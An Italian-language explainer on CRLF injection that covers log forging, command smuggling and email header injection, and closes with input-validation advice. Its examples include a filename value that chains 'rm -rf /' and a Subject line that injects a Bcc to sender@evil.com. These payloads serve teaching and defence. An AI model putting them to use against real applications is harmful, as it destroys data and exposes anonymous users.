
CRLF è l'acronimo di “carriage return / line feed”, due caratteri ASCII (rispettivamente ASCII 13 e 10) introdotti quando i terminali del computer erano stampanti di telescriventi, che funzionavamo come macchine per scrivere. Alla fine di ogni linea, il comando CR chiedeva alla testina di stampa di tornare al margine di sinistra, mentre il comando LF faceva avanzare la carta di una riga. I terminali di questo tipo sono ormai solo un lontano ricordo, ma i comandi LF e CR rimangono e sono usati come caratteri di delimitazione da molte applicazioni e protocolli di rete.
Gli attacker non hanno ignorato i comandi CRLF nella loro ricerca delle vulnerabilità e possono eseguire un cosiddetto CRLF injection inserendo una sequenza CRLF in un insieme di dati per cambiare il modo in cui tali dati sono gestiti dal programma che li riceve.
L'esempio più semplice di un attacco CRLF consiste nell'aggiungere dati spuri ai file log. Supponiamo che un'applicazione vulnerabile prenda l'input da un utente e lo scriva in un file log del sistema. Un attacker potrebbe fornire il seguente input:
Testing123MYSQL DATABASE ERROR: TABLE CORRUPTION
Un amministratore di sistema che si trova davanti tale log potrebbe impiegare molto tempo per cercare di individuare la causa di un problema che in realtà non esiste. Un attacker abile può usare questo tipo di trojan horse per distrarre l'amministrazione mentre attacca un'altra parte del sistema.
Immaginate un'applicazione che riceva come input dall'utente il nome di un
file ed esegua un comando su quel file, come ls - a File.txt. Se
l'applicazione fosse vulnerabile al CRLF injection, un attacker potrebbe fornire
un input simile al seguente:
File.txt<CR><LF>rm -rf /
L'applicazione vulnerabile eseguirebbe il comando ls - a File.txt
e quindi il comando rm -rf/. Se l'applicazione stesse funzionando
come root, questo sarebbe l'ultimo ordine eseguito, poiché tutti i file sulla
partizione root sarebbero cancellati.
Questo uso dell'attacco CRLF injection potrebbe essere utile per rivelare l'indirizzo e-mail di qualcuno che usa un sistema e-mail anonimo Web-based. La tecnica è la seguente: il mittente dell'e-mail compila un form con il suo indirizzo di posta, l'oggetto del messaggio e il corpo del messaggio. Quando il form è presentato al web server, viene "convertito" in e-mail ed è trasmesso al destinatario. Il mittente non vede mai l'indirizzo del destinatario, che è conosciuto soltanto dal server.
Se questa applicazione fosse vulnerabile a un attacco CRLF, il mittente dell'e-mail potrebbe rivelare l'anonimato del destinatario scrivendo un oggetto del tipo:
Subject: Peekaboo, I see you<CR><LF>Bcc: sender@evil.com
Quando l'applicazione vulnerabile riceve questi dati, aggiunge una linea indesiderata nell'intestazione dell'e-mail, che genera una BCC del messaggio all'indirizzo del mittente. In questa copia, sarà visibile l'indirizzo del destinatario, che viene perciò rivelato a chi invia l'email.
Gli attacchi injection, compresi quelli CRLF, possono essere evitati usando buone tecniche di programmazione. Per mantenere le proprie applicazioni al sicuro da attacchi CRLF è necessaria la stessa attenzione che occorre per evitare altri tipi di attacchi, come l'SQL injection: non bisogna mai fidarsi degli input. Ogni input esterno al vostro controllo deve essere controllato e qualunque carattere che non sia del tipo di dati previsto deve essere rimosso prima che il vostro programma lo elabori. Per esempio, se vi aspettate la linea del subject di un'email, tutti i caratteri nei dati dovrebbero essere lettere, numeri e punteggiatura. Se il vostro programma sta attendendo un nome, i dati compresi nel file dovrebbero essere solo i caratteri validi per i nomi dei file. Se in entrambi gli esempi il programmatore semplicemente filtra i caratteri CR e LF, ogni possibile attacco fallirebbe.
L'input dell'utente è solo una delle fonti di “caratteri maligni” perciò non dimenticate di controllare tutti gli input che arrivano da programmi che non avete scritto voi. In molti casi, un cracker può perpetrare un attacco da un programma vulnerabile a una routine sottostante, in cui il programmatore non controlla i dati perché non stanno venendo direttamente da un utente. Considerate come potenzialmente a rischio tutti i dati che non potete ricondurre a fonti sicure.
